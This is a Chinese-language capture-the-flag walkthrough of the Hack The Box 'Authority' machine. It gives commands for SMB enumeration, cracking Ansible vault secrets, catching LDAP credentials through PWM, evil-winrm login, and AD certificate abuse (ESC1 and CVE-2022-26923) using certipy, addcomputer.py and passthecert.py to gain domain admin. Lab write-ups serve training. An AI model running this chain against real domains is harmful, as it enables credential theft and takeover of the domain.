HTB-Authority
还是先扫一下 这里是推荐fscan和nmap同时扫 这样获取到的信息能多点
1 | 一共就是80 5985 8433 这个三个端口 其他端口一般是默认就开的 |
收集到这些信息后 访问这个80端口的话是啥也没的
然后就从其他方面入手 先尝试一下看看能不能匿名登录smb
1 | smbclient -L 10.10.11.222 |
只有这两个地方是我们能够访问的
1 | smbclient //10.10.11.222/Department Shares/ |
这里的话就发现只有Development这个共享文件夹能够访问到
开始查看看有哪些东西可以进行利用
这个文件夹名字的话 百度一下就会发现他是个配置管理工具
Ansible是一个开源配置管理工具,可以使用它来自动化任务,部署应用程序实现IT基础架构。Ansible可以用来自动化日常任务,比如,服务器的初始化配置、安全基线配置、更新和打补丁系统,安装软件包等
那么我们就把其下载下来
1 | recurse on 表明开启循环 |
然后开始查看这个文件下的目录
跟进这个PWM目录下就会发现 这是一个服务
PWM(Password Management for LDAP Directory Services)可能是一种用于管理密码和凭证的系统,特别是用于与LDAP目录服务(例如OpenLDAP)一起使用。这可以包括密码策略管理、密码重置、自助服务、密码保险柜等功能,以帮助组织更好地管理用户凭证和密码策略。
在这个目录下就会发现存在有些被vault加密过的字符串 然后我们就将其保存下来并爆破他
1 | 先保存在1.yml文件中 |
这里获取到的密码和上面的password啥关系都没 本质上就是加密的密码
我们通过获取到这个加密密码后 我们就可以通过其来进行解密获取到的字符串
1 | ansible localhost -m debug -a var="ldap_admin_password" -e "@Ansible/PWM/defaults/main.yml" --vault-password-file=.vault_password |
三个挨个试就行了
1 | pwm_admin_password: pWm_@dm!N_!23 |
试出三个密码后 我们回想到刚刚的那个8443的https端口处
其实在这里的关键就是下面的这两个 将获取到密码输入即可
将这里改为我们的地址 然后并且开启监听 然后点击上面的Test LDAP Profile
来使别的服务来连接我们
这个就是我们获取到的ldap用户的密码
evil-winrm去登录该用户(5985端口开了)
1 | evil-winrm -i 10.10.11.222 -u 'svc_ldap' -p 'lDaP_1n_th3_cle4r!' |
尝试提权 步骤应该是先跑sharphound 然后再看whoami /priv 然后再跑certify
这里的话就不跑sharphound了 域内就一个用户
这里话由于是公共靶机 所以才导致这种情况的出现 实际上的话没有可利用权限的
所以这里就尝试跑这个Certify来看看有没有证书模板漏洞
1 | certipy-ad find -u 'svc_ldap@authority.htb' -password 'lDaP_1n_th3_cle4r!' -dc-ip 10.10.11.222 -vulnerable -stdout |
这里的话就两个关键点
这里其实扫出来了这个ESC1 但是直接去搜文章的话是打不了的 这里的话还是用这个CVE-2022–26923这个来打
https://forum.butian.net/share/1578 这篇文章很详细的分析了这个漏洞
先是创建个机器账户
1 | python3 addcomputer.py authority.htb/svc_ldap:'lDaP_1n_th3_cle4r!' -computer-name COMPUTER$ -computer-pass 'COMPUTER' |
成功添加这个机器账户 说明上面的CVE能打
然后接着去申请这个CornVPN模板证书
1 | certipy-ad req -username COMPUTER$ -password 'COMPUTER' -ca AUTHORITY-CA -target authority.htb -template CorpVPN -upn administrator@authority.htb -debug |
申请成功 然后直接auth认证就行了
不出意外的话出意外了
打网鼎半决赛靶机的时候遇到过这个问题 那么我们就换Schannel协议来打
先将.pfx文件转化为.key和.crt文件
1 | certipy-ad cert -pfx administrator.pfx -nokey -out user.crt |
然后使用passthecert.py工具来测试是否成功
1 | python3 passthecert.py -action whoami -crt user.crt -key user.key -domain authority.htb -dc-ip 10.10.11.222 |
是admin权限 那么我们就直接上ldap_shell
这里之前加过了 所以不能再加了 然后直接再用evil-winrm连接上去就行了
拿下
总结一下 其实最后打域控这里的话没啥奇怪的东西 就是打一个简单的CVE 然后前面的ansible来获取账号密码